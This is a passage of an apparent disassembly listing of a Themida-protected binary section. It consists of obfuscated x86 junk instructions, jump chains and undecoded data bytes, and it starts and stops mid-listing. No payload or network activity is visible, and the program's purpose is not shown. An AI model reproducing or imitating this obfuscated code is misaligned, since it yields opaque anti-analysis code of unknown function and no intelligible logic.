6BB3DFBh pop eax shl eax, 5 xchg eax, esi jmp loc_521AC1 ; --------------------------------------------------------------------------- db 54h, 5Fh, 81h dd 4ECh, 242C8900h, 55C2E9h, 5BDE0900h, 698268h, 241C8900h dd 36F0E9h, 0FFEE8100h, 46FFFFFFh, 0EC4BF57h, 0FE294A33h dd 8BF0215Fh, 0C4832434h, 35BB5304h, 0E95AB059h, 118Ch dd 1C75FB2Dh, 546DE962h, 0C380FFFFh, 391868F4h, 0C890000h dd 3A4C6824h, 97E90000h, 66000034h, 5324048Bh, 0BA52E389h dd 11215BCBh, 8104E2C1h, 0BB1BCFE2h, 0F7FA8735h, 4576E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BE56: ; CODE XREF: Themida_:00519CA0j sub edx, 42BD3C7Eh jmp loc_5137EC ; --------------------------------------------------------------------------- db 66h, 0Fh, 0B6h dd 34686600h, 4896638h, 389AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BE72: ; CODE XREF: Themida_:0051BCD9j add ebx, 3FE2BFBCh add eax, ebx jmp loc_519A32 ; --------------------------------------------------------------------------- aIBsA db '‰ê]Bé#a',0 align 4 dd 4703E7C1h, 7F06C781h, 0F7812338h, 119C9B0Eh, 295FFA01h dd 0B9EA81EAh, 5D0F5966h, 0FF8FF5E9h, 241CF6FFh, 385AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BEB2: ; CODE XREF: Themida_:005212ACj shl ah, 7 xor ah, 0D8h add bl, ah pop eax pop edx push edx mov dl, 14h shl dl, 2 push 186h mov [esp], ecx push ebx jmp loc_520FC4 ; --------------------------------------------------------------------------- dd 9C2404D2h, 0FF3833E9h db 0FFh ; --------------------------------------------------------------------------- loc_51BED9: ; CODE XREF: Themida_:00518A6Ej mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 push eax mov eax, 41457439h or eax, 4F9840DDh jmp loc_5118EF ; --------------------------------------------------------------------------- db 0B2h, 9Dh, 88h dd 10E95AD1h, 8BFFFFF2h, 0C481241Ch, 4, 177E9h, 44E28100h dd 50148314h, 7FF00468h, 0A6CFE9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BF1E: ; CODE XREF: Themida_:0051EEB8j push dword ptr [esp] pop ebp add esp, 4 push 170Fh mov [esp], ebx mov ebx, 4 jmp loc_5226CB ; --------------------------------------------------------------------------- db 1 dd 0C38358C3h, 241C8704h, 0E389535Ch, 4C381h, 0C3830000h dd 0D7B5E904h, 0E2C1FFFFh, 0EBEA8104h, 0E937AC1Eh, 0FFFFDF76h ; --------------------------------------------------------------------------- loc_51BF60: ; CODE XREF: Themida_:00521312j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx push esp pop ecx add ecx, 4 jmp loc_512D1A ; --------------------------------------------------------------------------- db 59h dd 0E800C781h, 0FB019031h, 4C3835Fh, 0E9241C87h, 2AC2h dd 0E04AA1BAh, 81DAF73Dh, 0D56DF5E2h, 51EA8179h, 0E9401525h dd 3637h, 2434FF59h, 0BF6EE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51BFB2: ; CODE XREF: Themida_:0051CA43j push edx jmp loc_513597 ; --------------------------------------------------------------------------- loc_51BFB8: ; CODE XREF: Themida_:0051C537j mov esi, 4 mov edx, esi pop esi jmp loc_51F4AA ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 53000000h, 0FF4040E9h, 2434FFFFh, 0F9CE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51BFDA: ; CODE XREF: Themida_:00521BA7j jmp loc_50F70C ; --------------------------------------------------------------------------- loc_51BFDF: ; CODE XREF: Themida_:00519A14j push 56F0h mov [esp], eax push esp pop eax add eax, 4 sub esp, 4 mov [esp], edx mov edx, 2D6C7DFAh inc edx dec edx push ebx push ecx push 6FA14E80h pop ecx xchg edi, ecx jmp loc_50FC48 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C4h dd 4, 5C243C87h, 0E924048Fh, 0FFFF4AEAh ; --------------------------------------------------------------------------- loc_51C020: ; CODE XREF: Themida_:0051378Aj xor esi, [esp] jmp loc_510A7C ; --------------------------------------------------------------------------- loc_51C028: ; CODE XREF: Themida_:00510056j push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_521203 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Ah, 8704EB83h, 248B241Ch, 24048924h, 68555854h dd 13565638h, 83242C8Bh, 0E5D104C4h, 1CFFF581h, 0A4E957F6h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C063: ; CODE XREF: Themida_:0051828Aj sub eax, ebx mov ebx, [esp] jmp loc_522D4F ; --------------------------------------------------------------------------- db 5Dh, 1, 44h dd 8B580424h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_51224C ; --------------------------------------------------------------------------- dd 5C243C87h, 0B6241489h, 0D1E9519Ah, 0FFFFFF4Bh, 50582434h dd 4055854h, 0E9000000h, 2B8Ah, 8303EAC1h, 0EA8101C2h dd 2B736025h, 0FFFB3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_51C0B5: ; CODE XREF: Themida_:00524BDEj pop ebx jmp loc_511598 ; --------------------------------------------------------------------------- db 55h dd 7E53B2BDh, 0C8AFE97Fh, 0C201FFFFh, 0D7015858h, 6824148Bh dd 9F2h, 89241489h, 4C281E2h, 83000000h, 0F6E904C2h, 0FFFFFFECh dd 83592434h, 0D7F604C4h, 0E907E7C0h, 0FFFFC5A1h ; --------------------------------------------------------------------------- loc_51C0F8: ; CODE XREF: Themida_:00517DB7j push ebp sub dword ptr [esp], 19D1495h mov edx, [esp] add esp, 4 add edx, 19D1495h pop ebp mov eax, edx mov edx, [esp] add esp, 4 sub ebx, 35666CA2h jmp loc_5212C5 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 1C8904ECh, 39F66824h, 24890000h, 24048124h dd 4, 83241C8Bh, 3C8904ECh, 81E78924h, 4C7h, 4C78300h dd 31243C33h, 3C33243Ch, 50515C24h, 0FFD41FE9h, 116866FFh dd 3A65E90Dh, 0C4810000h, 4, 0FF4441E9h, 0B6C781FFh, 2904DB5Ah dd 1479E9F7h, 248B0000h, 88DEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C18A: ; CODE XREF: Themida_:005113EAj mov ebx, [esp] add esp, 4 push 7619h jmp loc_515096 ; --------------------------------------------------------------------------- dw 0C381h dd 1C046806h, 0EB81D301h, 1C046806h, 2F43EB81h, 0C3810FFFh dd 1BC3BABh, 8124148Bh, 4C4h, 0D8F79300h, 1BF5793h, 81527D30h dd 0D07C57CFh, 4E7C172h, 9C0BE56h, 0E68173A0h, 690D2121h dd 7AF3C681h, 0E94E1DC0h, 1376h, 5C243C87h, 34FFE831h dd 0B941E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C1F6: ; CODE XREF: Themida_:0051214Dj mov ebp, 200h jmp loc_516D77 ; --------------------------------------------------------------------------- dd 68240C89h, 4, 3AFAE9h, 0B8505900h, 4, 0FFC97EE9h, 0F4EB80FFh dd 8B83C380h, 0C483240Ch, 8DEB8004h, 80BAB551h, 0EB2854C3h dd 0FFC60BE9h, 0ABB53FFh, 4324132Ah, 6563BF57h, 0E7C11479h dd 47D7F702h, 66F1EF81h, 0FB01C5E0h, 5BD8015Fh, 6E0FE9h dd 4C78100h, 83000000h, 3C8704EFh, 1C895C24h, 598DBB24h dd 0E1E95AFCh, 5900002Ah, 25E9F001h, 53FFFFD7h, 0BBh, 87FB2900h dd 0F7815BDFh, 64355696h, 0E906E7C1h, 0FFFFAF6Ch ; --------------------------------------------------------------------------- loc_51C294: ; CODE XREF: Themida_:00513457j mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 jmp loc_520BE9 ; --------------------------------------------------------------------------- loc_51C2A7: ; CODE XREF: Themida_:005169E6j or ebp, 3170639Ah xor ebp, 440C7A0Ah mov ebx, ebp pop ebp sub edi, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_51D5AE ; --------------------------------------------------------------------------- db 2Dh dd 76AE53F4h, 0F405D801h, 2D76AE53h, 757A2CFEh, 6A711405h dd 7DFDE92Ah, 4401FFFFh, 7AE90824h, 0FF000025h, 0E9042474h dd 0FFFF524Fh, 68E3C181h, 685D7441h, 381Fh, 0E9241489h dd 2563h ; --------------------------------------------------------------------------- loc_51C314: ; CODE XREF: Themida_:0051A3C7j xchg ebp, [esp] jmp loc_520FFD ; --------------------------------------------------------------------------- dd 83242C8Bh, 0A0B804C4h, 315F1321h, 44295FF8h, 48B0424h dd 8FE95724h, 0ADFFFFB1h, 4468D831h, 89000047h, 0BAE9243Ch db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51C347: ; CODE XREF: Themida_:00516699j mov [esp], ebp push 39FFh mov [esp], esp add dword ptr [esp], 4 jmp loc_50FE11 ; --------------------------------------------------------------------------- dw 0C501h dd 2C58158h, 87000000h, 34E9242Ch, 89FFFFDBh, 76E92414h dd 87FFFF35h, 30E9243Ch, 8FFFFFD4h, 41E92404h, 50FFFFC8h dd 0E604E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C38E: ; CODE XREF: Themida_:00523E95j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_51B5AA ; --------------------------------------------------------------------------- db 59h dd 3832E951h, 0BA52FFFFh, 7EC8418Eh, 0FEE9D329h, 89000047h dd 0B450241Ch, 58E388B4h, 0F602EBC0h, 2EBC0D3h, 33F26852h dd 0C890000h, 88A6B524h, 2434FFEAh, 4C48159h, 0E9000000h dd 0FFFFD8CFh, 57243489h, 0FFFFFFBFh, 5FFE89FFh, 0FFE9FEE9h dd 5BDD01FFh, 4DCEE9h, 0EFEF8100h, 810C2557h, 476FE6F7h dd 5FFB3103h, 676CC181h, 0D9010D8Eh, 676CE981h, 0E95B0D8Eh dd 0FFFF8226h, 43E9F901h, 68000031h, 7AF9h, 2CA8E9h, 4316600h dd 0D5E99C24h, 5BFFFF32h, 59D2EA81h, 0DA013350h, 59D2C281h dd 0E95B3350h, 860Ch, 486EC181h, 0C8290A0Bh, 0FFFB4FE9h dd 57555CFFh, 3227FDBFh, 81D7F76Dh, 271B86EFh, 33E94769h dd 5B000042h, 0FF3EA0E9h, 240489FFh, 1508BA52h, 0E9520339h dd 7EBAh ; --------------------------------------------------------------------------- loc_51C484: ; CODE XREF: Themida_:00513319j xor eax, ecx sub esp, 4 mov [esp], eax push ebp push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_523CDB ; --------------------------------------------------------------------------- db 0FFh dd 0E95B2434h, 1441h ; --------------------------------------------------------------------------- loc_51C4A4: ; CODE XREF: Themida_:0051611Bj add esp, 4 pop dword ptr [esp] pop esp pop dword ptr [esp] mov esp, [esp] push ebp sub esp, 4 mov [esp], edi pop ebp pop edi not edi xchg edi, ebp push eax push 7CB6h mov [esp], ebp pop eax mov ebp, [esp] push ebx mov ebx, esp jmp loc_51AD79 ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 0E9h dd 51FEh, 0E9242C89h, 6CEBh, 8704C483h, 248B2404h, 24043124h dd 0FF3213E9h, 4EC83FFh, 0FF242C89h, 0E9042474h, 1366h dd 2EB26EB0h, 668BE9h db 0 ; --------------------------------------------------------------------------- loc_51C511: ; CODE XREF: Themida_:00513FEAj push ecx mov ecx, 6A1556D0h sub ebp, ecx pop ecx pop ecx jmp loc_5223BA ; --------------------------------------------------------------------------- loc_51C520: ; CODE XREF: Themida_:005118DCj mov ebp, 2EFA2B49h dec ebp dec ebp dec ebp xor ebp, 2EFA2B42h add ebx, ebp jmp loc_51A927 ; --------------------------------------------------------------------------- loc_51C535: ; CODE XREF: Themida_:0050FE12j push edx push esi jmp loc_51BFB8 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 7099E900h, 54510000h, 42BD5559h, 0F70F246Eh dd 0B9ED81D5h, 1F0DB91h, 0B1E1E9E9h, 0C481FFFFh, 4, 0C794E95Ah dd 8141FFFFh, 0C56FCDF1h, 59CD2958h, 7D0FE9h, 0C7814F00h dd 0BC2EAD9Ah, 15FFD89h, 242C8BEFh, 104C483h, 243C8BF9h dd 0FF89DDE9h, 0E9C701FFh, 0FFFF395Ah ; --------------------------------------------------------------------------- loc_51C5A0: ; CODE XREF: Themida_:0052138Ej pop esi jmp loc_5204FA ; --------------------------------------------------------------------------- dw 0C981h dd 76A538F5h, 74C18141h, 0E9D79A8Eh, 24DCh, 88F78853h dd 70B8E9F8h, 8B660000h, 31682404h, 8900005Eh, 66E9241Ch dd 81000084h, 0B94BFEEEh, 71816827h, 5BE90000h, 8100003Dh dd 4C4h, 241C8700h, 6624248Bh, 0E9240C8Bh, 0FFFFD8E5h ; --------------------------------------------------------------------------- loc_51C5F8: ; CODE XREF: Themida_:0052287Aj push ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] pop esp mov ebx, [esp] add esp, 4 jmp loc_50F70C ; --------------------------------------------------------------------------- db 83h dd 83E904C4h, 88FFFFE0h, 885066DAh, 0E9D4F6D4h, 7DB9h dd 24048F5Ch, 24248Bh, 81B004D8h, 4ECh, 241C8900h, 0EBC046B3h dd 3E3C005h, 4C3968h, 240C8900h, 0ED8048B5h, 2AC38082h dd 8FE9EB28h, 8BFFFFDCh, 0FE92424h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C663: ; CODE XREF: Themida_:00511504j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_5102D2 ; --------------------------------------------------------------------------- dw 12B6h dd 8059CE80h, 0C7E926F6h, 81FFFFADh, 4C4h, 3A5F300h, 0EC813862h dd 4, 56240C89h, 0A23ABF68h, 24348B12h, 4C481h, 8AE90000h dd 51000073h, 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 212BE95Ch dd 565B0000h, 0C91527BEh, 0BB3FE95Ch, 0C381FFFFh, 0A4D440Ch dd 50C7E9h, 0C3895300h, 8B5BD989h, 89512404h, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 43CAE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C6FE: ; CODE XREF: Themida_:0051AC9Dj pop ecx jmp loc_51A0EF ; --------------------------------------------------------------------------- loc_51C704: ; CODE XREF: Themida_:00514080j pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_513E3E ; --------------------------------------------------------------------------- loc_51C713: ; CODE XREF: Themida_:005161B9j xchg eax, [esp] mov esp, [esp] jmp loc_51170F ; --------------------------------------------------------------------------- dw 0CEB8h dd 3119C10Dh, 24048BC7h, 0E904C483h, 0FFFFB158h, 5B5BF800h dd 0FFECB8E9h, 0C0BD66FFh, 0E801667Fh, 0E8E95D66h db 3Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51C747: ; CODE XREF: Themida_:0052145Dj pop esi xor edx, 22A11CF9h mov esi, edx pop edx add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_516272 ; --------------------------------------------------------------------------- db 55h dd 0A46747BDh, 1DED8134h, 8159B14Ah, 604E2CF5h, 2EDC171h dd 34F768h, 0EC99E900h, 0E954FFFFh, 24EAh, 0E9D830ACh dd 990h, 26D968h, 240C8900h, 4EC81h, 4890000h, 42CEB824h dd 0C18930A4h, 6E7BE9h, 2DE95C00h, 0F7000027h, 2457E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51C7BA: ; CODE XREF: Themida_:00511BD3j not dword ptr [esp] pop edi and edi, 38E756E2h dec edi xor edi, 4EB4EF0Eh mov ebx, edi pop edi shl ebx, 7 shr ebx, 3 not ebx and ebx, 1F524757h sub ebx, 0FFFFFFFFh sub ebx, 14024044h sub edi, 1981007Eh jmp loc_51F984 ; --------------------------------------------------------------------------- dd 4C581h, 0CE90000h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_51C7FB: ; CODE XREF: Themida_:0051E861j xchg ebp, [esp] pop esp xchg ecx, [esp] mov esp, [esp] jmp loc_5245A0 ; --------------------------------------------------------------------------- dw 0FF55h dd 0FF042474h, 2C8B2434h, 4C48324h, 4C481h, 48F0000h, 0E3895324h dd 7730BA52h, 0E2C111A7h, 816FE906h, 0E95BFFFFh, 73F5h ; --------------------------------------------------------------------------- loc_51C838: ; CODE XREF: Themida_:0050F775j push esi mov esi, esp add esi, 4 jmp loc_512403 ; --------------------------------------------------------------------------- aSq db '\éQ|',0 align 4 dd 0E9D2F766h, 7F2Ch, 0E07EF1BFh, 5FF90116h, 74FF5158h dd 0C8B0424h, 4C48124h, 8F000000h, 0FF5C2404h, 0E99C240Ch dd 0FFFF2E94h, 4EC81h, 34890000h, 50E68924h, 0AF5665B8h dd 0BBBA5274h, 0E94E5E06h, 0FFFF64B6h ; --------------------------------------------------------------------------- loc_51C894: ; CODE XREF: Themida_:0051512Ej add eax, 4 xchg eax, [esp] mov esp, [esp] and ecx, esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 add eax, ecx jmp loc_51BD7F ; --------------------------------------------------------------------------- dd 0E956575Ah, 0FFFFE449h, 7B94E956h, 0BF570000h, 94348BBh dd 0E906EFC1h, 0FFFF45F0h, 0F528A6B6h, 53ED805Ah, 0E800C404h dd 6859C42Ch, 1698h, 0FFA6F8E9h, 90ED81FFh, 816DE11Ch dd 0D4C468EDh, 8BEF0160h, 0C483242Ch, 4BB5304h, 52000000h dd 61F7BE56h, 0F28977FBh, 0FF3F8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_51C91D: ; CODE XREF: Themida_:005231C3j pop esi push edx push 3B99h mov [esp], edi mov edi, 6D2447C7h sub [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_52051B ; --------------------------------------------------------------------------- loc_51C93B: ; CODE XREF: Themida_:0050F723j pop edx add al, cl sub esp, 4 mov [esp], ebx jmp loc_5176FE ; --------------------------------------------------------------------------- dd 3304C483h, 34312434h, 6F2AE924h, 48BFFFFh, 4C48124h dd 0E9000000h, 0FFFF9BE6h, 595DEA89h, 0FAE9D001h, 68FFFFEFh dd 2E29h, 0B8240489h, 6CB00A41h, 8158C589h, 700402CDh dd 2EDC17Fh, 5C78C581h, 0EA0936F0h, 79C2815Dh, 29097BAAh dd 875D5AD1h, 248B240Ch, 2434FF24h, 4EC835Ah, 68241C89h dd 443h, 83242489h, 8B042404h, 0C483241Ch, 12685504h, 8900007Fh dd 0D6BA2414h, 891E5B08h, 57685AD5h, 89000034h, 0D2BE2434h dd 311E5B08h, 24348BF5h, 55E28952h, 3666A3BDh, 0E9E5D12Fh dd 0FFFF5907h, 0E9240C89h, 0FFFFD9EBh, 7935C381h, 348B7663h dd 4C48324h, 5C241C87h, 4AB0F66h, 0F5E99C24h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CA17: ; CODE XREF: Themida_:0051D6A5j add esi, 4 jmp loc_5173A3 ; --------------------------------------------------------------------------- dw 835Bh dd 343302C6h, 24343124h, 0E9243433h, 0FFFF67E5h ; --------------------------------------------------------------------------- loc_51CA34: ; CODE XREF: Themida_:0051BCF3j pop eax jmp loc_514CF8 ; --------------------------------------------------------------------------- loc_51CA3A: ; CODE XREF: Themida_:0052120Fj xchg esi, [esp] mov esp, [esp] add esp, 4 jmp loc_51BFB2 ; --------------------------------------------------------------------------- dd 50535954h, 0CE12A768h, 6772E903h, 0BD550000h, 231279A7h dd 0BACD8145h, 8100CD70h, 0EB1BE6EDh, 5BC5814Fh, 81324D71h dd 745F2C5h, 0E9E829F0h, 0CF8h, 511AEA81h, 0F2012EA1h dd 511AC281h, 348B2EA1h, 4C48124h, 81000000h, 4C2h, 9866E900h dd 0B82CFFFFh, 569FE9h, 5EF13100h, 5A59CE01h, 0E91C7721h dd 0FFFF3B30h, 6F5E6852h, 815A481Ch, 1C6F5CEAh, 84B0E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51CAC6: ; CODE XREF: Themida_:005220DCj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, 76BE40E3h push eax push ebx mov ebx, 74800635h jmp loc_51DD52 ; --------------------------------------------------------------------------- loc_51CAE7: ; CODE XREF: Themida_:00524E4Ej mov [esp], ebx jmp loc_515952 ; --------------------------------------------------------------------------- loc_51CAEF: ; CODE XREF: Themida_:005228F8j pop ebx add eax, 4 push eax mov eax, esp add eax, 4 push 24E9h jmp loc_513C66 ; --------------------------------------------------------------------------- loc_51CB05: ; CODE XREF: Themida_:00517054j mov ecx, esp push esi mov esi, 2EBB51EEh xor esi, 26951D49h shl esi, 8 sub esp, 4 mov [esp], eax mov eax, 26B97695h add eax, 114A4F9Fh add eax, 740D7EF0h inc eax sub eax, 7DC49E21h xor esi, eax pop eax sub ecx, 69862F61h add ecx, esi jmp loc_5166F8 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF72BAh, 240C8B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi mov esi, 626D2AEFh add esi, 5E796F8Bh push edi mov edi, 7B912045h xor edi, 3F855DE3h inc edi shr edi, 8 sub edi, 0AE02A331h jmp loc_51DADA ; --------------------------------------------------------------------------- db 1 dd 0C7815AD7h, 4, 5C243C87h, 8904EC83h, 95BD242Ch, 0C13E6342h dd 0CD8104EDh, 459A5250h, 0FF58DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_51CBA1: ; CODE XREF: Themida_:00513C7Bj dec edx sub edx, 0FB448BEBh mov esi, edx mov edx, [esp] add esp, 4 sub eax, esi pop esi xchg eax, [esp] pop esp mov [esp], eax jmp loc_511CAB ; --------------------------------------------------------------------------- dw 0C89h dd 1D746824h, 9E90000h, 31000021h, 0B60F66C3h, 89565100h dd 4C681E6h, 0E9000000h, 0FA2h, 39ABF57h, 0C7810D1Ch, 793A0454h dd 8102E7C1h, 0F87CFAF7h, 0E9FA0164h, 3EFh ; --------------------------------------------------------------------------- loc_51CC00: ; CODE XREF: Themida_:005111AFj and ecx, 3F0C04B4h add ecx, 0FB8C3C6Ch mov edi, ecx pop ecx sub eax, edi pop edi jmp loc_513FC5 ; --------------------------------------------------------------------------- db 87h dd 895C2404h, 0BA68241Ch, 0E97A7367h, 0FFFFF873h ; --------------------------------------------------------------------------- loc_51CC28: ; CODE XREF: Themida_:005176D2j or ebx, 34932748h add ebx, 1 sub esp, 4 jmp loc_5191BA ; --------------------------------------------------------------------------- loc_51CC39: ; CODE XREF: Themida_:00511A79j mov [esp], edx mov edx, 0A8351Eh sub [esp+4], edx jmp loc_5180A4 ; --------------------------------------------------------------------------- dw 2A04h dd 0FA341D04h, 40DE9h, 787A6800h, 0C890000h, 0A7E95024h dd 21FFFFC7h, 243C8BFAh, 5E08950h, 4, 0FF4278E9h, 8BFE89FFh dd 6CE9243Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51CC7F: ; CODE XREF: Themida_:00510C45j pop edx add al, bh pop bx add al, dl push ebx mov bl, 0D1h add bl, 9Ah sub al, bl jmp loc_5180CD ; --------------------------------------------------------------------------- db 89h dd 0B9E92404h, 89000063h, 53572404h, 16EB7BBh, 73EE916h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51CCAA: ; CODE XREF: Themida_:0051FD60j dec edx sub edx, 0FFFFFFFFh xor edx, 72E15AE8h push edi mov edi, 0FAD30FD9h jmp loc_50FAE4 ; --------------------------------------------------------------------------- dw 0D301h dd 0B850h, 47050000h, 151EA1Ah, 0E95652D8h, 23EEh, 0BB3B951h dd 0C78107F8h, 5E04309Dh, 0EF81CF01h, 5E04309Dh, 0FBF78159h dd 81487416h, 6C33CDC5h, 52C2E96Ah, 0EB81FFFFh, 4C842B99h dd 51FDEB81h, 0C3814470h, 0B983208h, 0A7CFE951h, 1487FFFFh dd 24248B24h, 0E9242C89h, 683Ch, 84CA815Eh, 504A9F51h dd 0FF5D7CE9h, 1BC681FFh, 156D753h, 1BEE81FEh, 0FF56D753h dd 575F2434h, 0C7815F54h, 4, 5704C783h, 42474FFh, 24048F5Fh dd 6E94E95Ch, 0CB89FFFFh, 5927E9h, 24048900h, 0FFE845E9h db 0FFh ; --------------------------------------------------------------------------- loc_51CD6D: ; CODE XREF: Themida_:0051F3C7j push ecx jmp loc_52318F ; --------------------------------------------------------------------------- db 81h dd 297F8CC6h, 11C6813Dh, 81019C67h, 804D58EEh, 0F4C6814Fh dd 12B1812h, 0F4EE81CEh, 0E92B1812h, 72Ch, 33240C31h, 248B240Ch dd 34FF5024h, 243C8B24h, 4C481h, 0C4810000h, 4, 65C78158h dd 0E9161D18h, 1B7Fh ; --------------------------------------------------------------------------- loc_51CDC0: ; CODE XREF: Themida_:00519281j movzx eax, ax jmp loc_51538A ; --------------------------------------------------------------------------- dd 0C5815D54h, 4, 75FFE951h, 7401FFFFh, 348B0424h, 5A545224h dd 4C281h, 0C2810000h, 4, 5C241487h, 4C5815Dh, 81000000h dd 2C5h, 0F6F7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CE02: ; CODE XREF: Themida_:005179C6j mov [esp], edi mov edi, 7A6207A4h add ebp, 414F3315h jmp loc_51DD97 ; --------------------------------------------------------------------------- loc_51CE15: ; CODE XREF: Themida_:0051A2C1j push ecx jmp loc_513A26 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 54E95004h, 0BDFFFF47h, 111A24BEh, 8145D5F7h dd 3B0A40E5h, 90F58173h, 8139A338h, 7B043EF5h, 0E4B95154h dd 9139F21h, 0E95559CDh, 5626h, 332F89BBh, 5BD8097Ch, 16F6E948h dd 0CF880000h, 57240C8Bh, 0C781E789h, 4, 8EC7E955h, 0C388FFFFh dd 0E95BD988h, 0FFFF2FB7h ; --------------------------------------------------------------------------- loc_51CE7C: ; CODE XREF: Themida_:00522B3Bj push dword ptr [esp] jmp loc_516197 ; --------------------------------------------------------------------------- dd 0E6814646h, 49242DADh, 2362F681h, 0F1894D95h, 0E92434FFh dd 0FFFFB986h, 8B24048Fh, 0E0E92424h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_51CEA7: ; CODE XREF: Themida_:0051B7D4j push esi add dword ptr [esp], 141248A1h pop ebp sub ebp, 141248A1h pop esi add ebp, 0D3D30230h or ebx, ebp pop ebp jmp loc_511211 ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0C7810000h, 4, 0FF987BE9h, 53E956FFh db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51CEDF: ; CODE XREF: Themida_:0050FB06j mov [esp], esi push esp mov esi, [esp] push 7865h mov [esp], ebx jmp loc_524C2D ; --------------------------------------------------------------------------- loc_51CEF3: ; CODE XREF: Themida_:0051D032j sub ecx, 0B417E966h add edx, ecx jmp loc_523ACA ; --------------------------------------------------------------------------- dd 4240483h, 6FE9525Fh, 29FFFFDCh, 0C7815DEFh, 0C805749Ch dd 3C8BF801h, 4C48124h, 55000000h, 0B046D2BDh, 46E58169h dd 81008651h, 0CA55C8C5h, 11C5817Ch, 0C1239532h, 0BF5705E5h dd 11446D71h, 11FBC781h, 0FD3133E6h, 5DE8015Fh, 83243C8Bh dd 0B06804C4h, 8900001Fh, 5868241Ch, 8B277D1Ch, 0C483241Ch dd 1DE0E904h, 0DB80000h, 311DEC08h, 0BC8BE9F0h, 8357FFFFh dd 248904ECh, 0FF7EE924h, 0D589FFFFh, 0EB295B5Ah, 0DBDE9h dd 4647B800h, 0C7011BFEh, 28626858h, 2C890000h, 0E9FD8924h dd 0FFFF6827h, 43AACB81h, 0C3817317h, 4EED4A08h, 0E3C1D3F7h dd 8E3C103h, 68C7EB81h, 0FEE98938h, 89FFFFC2h, 405E0h dd 0F8E90000h, 28FFFF51h, 0BDB652D0h, 40E9F000h, 55FFFFC2h dd 543562BDh, 0ED814D73h, 1506C55Ah, 0D1E9E989h, 0FFFFFF37h dd 3C8B2434h, 393CE924h, 0F529FFFFh, 0FF7F59E9h, 0BA5259FFh dd 4, 0C8E9D101h, 83FFFF28h, 0D6F704C4h, 2414F756h, 0D3D0E95Eh dd 0E957FFFFh, 3032h ; --------------------------------------------------------------------------- loc_51D024: ; CODE XREF: Themida_:00516041j push ecx mov ecx, 60D645C3h sub ecx, 3B006C72h not ecx jmp loc_51CEF3 ; --------------------------------------------------------------------------- db 66h dd 58C6885Bh, 0F028B92Ch, 5A66B904h, 8048B252h, 3C2C87F2h dd 3C04D028h, 1C8B665Ah, 2C48124h, 30000000h, 8FE4E9C3h dd 0CC2CFFFFh, 8358C600h, 84E904ECh, 81FFFFD8h, 1EBh, 14F75300h dd 0BF575B24h, 1D1632F6h, 2928EF81h, 0C7817506h, 789F5510h dd 4DE4EF81h, 0EB8196DDh, 179B52D0h, 0C381FB01h, 179B52D0h dd 48B535Fh, 4C48324h, 595C255Bh, 91E9717Eh, 8BFFFF96h dd 8B662424h, 89512414h, 3B4868E1h, 14890000h, 27256824h dd 3C890000h, 4BF24h, 0FA890000h, 9DC1815Fh, 15F7067h dd 9DE981D1h, 8B5F7067h, 93E92414h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51D0EB: ; CODE XREF: Themida_:0051926Aj neg ecx shr ecx, 3 jmp loc_518B09 ; --------------------------------------------------------------------------- db 89h, 0D6h, 5Ah dd 348BF201h, 4C48124h, 53000000h, 645446BBh, 0B8504B34h dd 32EA3BB0h, 5258C329h, 9B31E955h, 